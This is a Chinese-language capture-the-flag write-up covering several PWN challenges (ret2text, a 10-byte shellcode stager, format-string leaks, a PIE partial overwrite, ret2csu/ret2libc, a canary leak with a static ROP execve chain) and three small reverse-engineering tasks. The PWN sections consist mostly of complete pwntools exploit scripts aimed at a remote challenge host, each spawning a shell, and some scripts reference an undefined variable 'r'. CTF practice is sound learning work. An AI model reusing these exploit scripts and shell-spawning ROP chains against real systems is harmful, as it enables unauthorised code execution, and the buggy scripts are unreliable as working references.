题目在我的资源,需要可以下载
PWN题解
babybaby_ret
放入IDA查看发现有backdoor,但是直接c的话并没有发现什么,回到汇编窗口,发现了后门函数,看一下保护,然后确定溢出长度即可
from pwn import * context(os='linux',arch='amd64',log_level='debug') io = remote('139.224.130.183',10202) elf = ELF("./babypwn") payload = b'a'*0x88 + p64(0x4011BE) io.sendline(payload) io.interactive()
baby_shellcode
ret2shellcode板子题,没啥好说的
from pwn import * context(os='linux',arch='amd64',log_level='debug') # io = process('./pwn') io = remote("139.224.130.183", 10210) payload = asm(shellcraft.amd64.sh()) io.sendline(payload) io.interactive()
shellcode
这道题给出的可以写入的shellcode只有10个字节,明显不够我们直接获得shell,因此,我们可以先构造一个调用read函数的shellcode,以此向mmap读入足够长的字节
但是只有10个字节,我们就需要充分利用,之前已经调用过一个read函数,这样就有了一些遗流的指令,可以减少长度,但是这样还不够,这里利用一个cdq指令,这样可以减少shellcode长度为限定字节以内。之后就是正常的ret2shellcode,但是注意要用垃圾数据填充9个字节。
from pwn import * context(os='linux', arch='amd64', log_level='debug') p = remote("139.224.130.183", 10205) # p = process("./pwn") p.recvuntil(b"please enter your shellcode") # gdb.attach(p) shellcode = asm(""" cdq ; push 0x100 ; pop rdx ; syscall """) print(len(shellcode)) p.send(shellcode) #前三个是无效的,因为前9个字符已经读取过了,调试一下也可以发现 payload = asm(""" xor rax, rax xor rdi, rdi xor rsi, rsi xor rax, rax xor rdi, rdi xor rsi, rsi xor rdx, rdx mov rdi, 0x68732f6e69622f push rdi mov rdi, rsp mov al, 59 syscall """) p.sendline(payload) p.interactive()
ez_fmt
简单的格式化字符串,只不过这道题好像无法用%s来直接获取栈上存储的字符串,因此我们用%p来获取值,然后将其转化为字符串
from pwn import * context(os='linux',arch='amd64',log_level='debug') io = process("./pwn") io = remote("139.224.130.183", 10211) #gdb.attach(io) payload = b"%17$p"#12-17以此获取 io.sendline(payload) io.interactive()hex_values = [0x7433467b67616c66,0x57564d5a4235505f,0x314f55502d395558,0x52584d49412d4250,0x57365a5a41483950,0x7d30] for hex_value in hex_values: byte_str = hex_value.to_bytes((hex_value.bit_length() + 7) // 8, 'big') reversed_byte_str = byte_str[::-1] print(reversed_byte_str.decode('utf-8'), end='')
baby_ret
这道题开启了PIE保护,但是存在了后门函数,因此我们要想办法执行这个后门函数,我们根据PIE保护的特性再加上自己本地调试其实可以发现,后门函数与返回地址只有最后1.5个字节不同,并且其偏移是固定的,后门为0x11B1,因此我们只要把最后1.5字节为变为1B1即可,但是只能修改整数字节,因此第四位数随便写一个,有1/16的概率对上就能执行后门函数
from pwn import * context(os='linux', arch='amd64', log_level='debug') #io = remote('139.224.130.183',10203) io = process("./pwn") elf = ELF("./pwn") gdb.attach(io) #爆破,多执行几次就行了,注意这是小端序 payload = b'a'*0x88 + b'\xb1\xe1' io.send(payload) io.interactive()
rop_level1
ret2csu类型题目,并且有足够的溢出空间,因此利用csu泄露write地址后利用ret2libc即可,因为我们可以控制r12-r15,因此也可以用one_gadget,本题只能获得远程shell
from pwn import * from pwn import p64,u64 context(os='linux', arch='amd64', log_level='debug') # io = remote("139.224.130.183", 10207) io = process("./pwn") e = ELF("./pwn") libc = ELF("./libc.so.6") write_plt_addr = e.plt["write"] write_got_addr = e.got["write"] main_addr = 0x4011DB rdi_addr = 0x4012a3 csu = 0x40129A move = 0x401280 ret = 0x40101a offset = 0x28 # gdb.attach(r) # payload = b"\x90"*offset + p64(csu) + p64(0) + p64(1) + p64(1) + p64(write_got_addr) + p64(8) + p64( # write_got_addr) + p64(move) + p64(0) + p64(0) + p64(1) + p64(1) + p64(write_got_addr) + p64(8) + #p64(write_got_addr) + p64(main_addr) payload = b"\x90"*offset + p64(csu) + p64(0) + p64(1) + p64(1) + p64(write_got_addr) + p64(8) + p64( write_got_addr) + p64(move) + p64(0)*7 + p64(main_addr) print(len(payload)) io.recvuntil(b">>") io.sendline(payload) # write_addr = u64(r.recvuntil('\x7f')[-6:].ljust(8, b'\x00')) write_addr = u64(r.recv(8)) print(hex(write_addr)) libc_base = write_addr - libc.symbols["write"] print(hex(libc_base)) system = libc_base + libc.symbols["system"] binsh = libc_base + next(libc.search(b"/bin/sh\x00")) print(hex(system)) print(hex(binsh)) # payload2 = offset * b'\x90' + p64(ret) + p64(rdi_addr) + p64(binsh) + p64(system) payload2 = offset * b'\x90' + p64(libc_base + 0xe3afe) #one_gadget攻击 io.send(payload2) io.interactive()
rop_level2
这道题限制了溢出长度,因此我们没有办法一步获取地址,但是可以分两步来泄露,因为在第一步返回主函数时r12-r15寄存器的值并没有被改变,所以可以在第二次调用move来执行write泄露地址,之后与level1一样
做这道题时踩了一个坑,本来在调试时发现rbp可以在覆盖rbp值时控制,rdx在执行csu时本身就是0,因此想直接用pop r12-r15来减少一下长度,结果发现不管怎么减少,还是差16个字节的长度,因此想到了分步执行,但是这样执行下来的话是不行的,进程会因为一些原因被kill掉,结果就是本地可以获得地址,但是无妨执行system,远程则直接无法获取地址,本题只能获得远程shell
from pwn import * from pwn import p64,u64 from LibcSearcher import * context(os='linux', arch='amd64', log_level='debug') io = remote("139.224.130.183", 10208) #io = process("./pwn") e = ELF("./pwn") libc = ELF("./libc.so.6") write_plt_addr = e.plt["write"] write_got_addr = e.got["write"] main_addr = 0x4011DB csu = 0x40128A move = 0x401270 leave = 0x40122C ret = 0x40101a xor_ebx = 0x401267 r12_to_r15 = 0x40128c pop_rsp = 0x40128d pop_r15_ret = 0x401292 offset = 0x28 sub_rsp = 0x4011E3 read = 0x40120C pop_rdi = 0x401293 # gdb.attach(r) # 能用11个gadget payload = b"\x90"*0x28+ p64(csu) + p64(0) + p64(1) + p64(1) + p64(write_got_addr) + p64(8) + p64( write_got_addr) + p64(main_addr) print(len(payload)) io.recvuntil(b">>") io.send(payload) payload = b"\x90"*0x20 + p64(1) + p64(move) + b"\x00"*0x38 + p64(main_addr) print(len(payload)) io.recvuntil(b">>") io.send(payload) # write_addr = u64(r.recvuntil('\x7f')[-6:].ljust(8, b'\x00')) write_addr = u64(r.recv(8)) print(hex(write_addr)) libc_base = write_addr - libc.symbols["write"] system = libc_base + libc.symbols["system"] binsh = libc_base + next(libc.search(b"/bin/sh\x00")) print(hex(system)) print(hex(binsh)) payload = b"\x11"*0x28 + p64(libc_base + 0xe3afe) r.send(payload) r.interactive()
这两道题发现了一个现象就是,本地获取的地址不是7f开头的,具体什么原因还没弄懂
b0call
泄露canary和静态链system call
有一点就是 32位和64位的canary所在的位置是不一样的
from pwn import * from struct import pack context(os='linux',arch='i386',log_level='debug') # io = process("./pwn") io = remote("139.224.130.183", 10201) elf = ELF("./pwn") payload = b"a"*0x40 # gdb.attach(io) io.sendline(payload) io.recvuntil(b"a"*0x40) canary = u32(io.recv(4))-0xa print(hex(canary)) p = b'' p += pack('<I', 0x0806ef4a) # pop edx ; ret p += pack('<I', 0x080ea060) # @ .data p += pack('<I', 0x080b83c6) # pop eax ; ret p += b'/bin' p += pack('<I', 0x080548db) # mov dword ptr [edx], eax ; ret p += pack('<I', 0x0806ef4a) # pop edx ; ret p += pack('<I', 0x080ea064) # @ .data + 4 p += pack('<I', 0x080b83c6) # pop eax ; ret p += b'//sh' p += pack('<I', 0x080548db) # mov dword ptr [edx], eax ; ret p += pack('<I', 0x0806ef4a) # pop edx ; ret p += pack('<I', 0x080ea068) # @ .data + 8 p += pack('<I', 0x080494e3) # xor eax, eax ; ret p += pack('<I', 0x080548db) # mov dword ptr [edx], eax ; ret p += pack('<I', 0x080481c9) # pop ebx ; ret p += pack('<I', 0x080ea060) # @ .data p += pack('<I', 0x080debb9) # pop ecx ; ret p += pack('<I', 0x080ea068) # @ .data + 8 p += pack('<I', 0x0806ef4a) # pop edx ; ret p += pack('<I', 0x080ea068) # @ .data + 8 p += pack('<I', 0x080494e3) # xor eax, eax ; ret p += pack('<I', 0x0807a93f) # inc eax ; ret p += pack('<I', 0x0807a93f) # inc eax ; ret p += pack('<I', 0x0807a93f) # inc eax ; ret p += pack('<I', 0x0807a93f) # inc eax ; ret p += pack('<I', 0x0807a93f) # inc eax ; ret p += pack('<I', 0x0807a93f) # inc eax ; ret p += pack('<I', 0x0807a93f) # inc eax ; ret p += pack('<I', 0x0807a93f) # inc eax ; ret p += pack('<I', 0x0807a93f) # inc eax ; ret p += pack('<I', 0x0807a93f) # inc eax ; ret p += pack('<I', 0x0807a93f) # inc eax ; ret p += pack('<I', 0x0806cbc5) # int 0x80 payload = b"a"*0x30+p32(canary)+b"a"*0xc + p io.sendline(payload) io.interactive()
REVERSE题解
assembly_language
简单的异或,自己看不懂就扔给AI
你真的很懂贝斯
shift+f12大法,找到base加密,随波逐流秒了
how_nop
把爆红的地方nop掉,再去开头按下p生成函数,f5看c
import hashlib x = [ 0xD0, 0xD0, 0x85, 0x85, 0x80, 0x80, 0xC5, 0x8A, 0x93, 0x89, 0x92, 0x8F, 0x87, 0x88, 0x9F, 0x8F, 0xC5, 0x84, 0xD6, 0xD1, 0xD2, 0x82, 0xD3, 0xDE, 0x87 ] input_data = bytearray(25) input_len = 25 for i in range(len(x)): input_data[i] = (~x[i] ^ input_len) & 0xFF input_str = input_data.decode('utf-8', 'ignore') md5 = hashlib.md5(input_str.encode()).hexdigest() print(input_str) print(md5)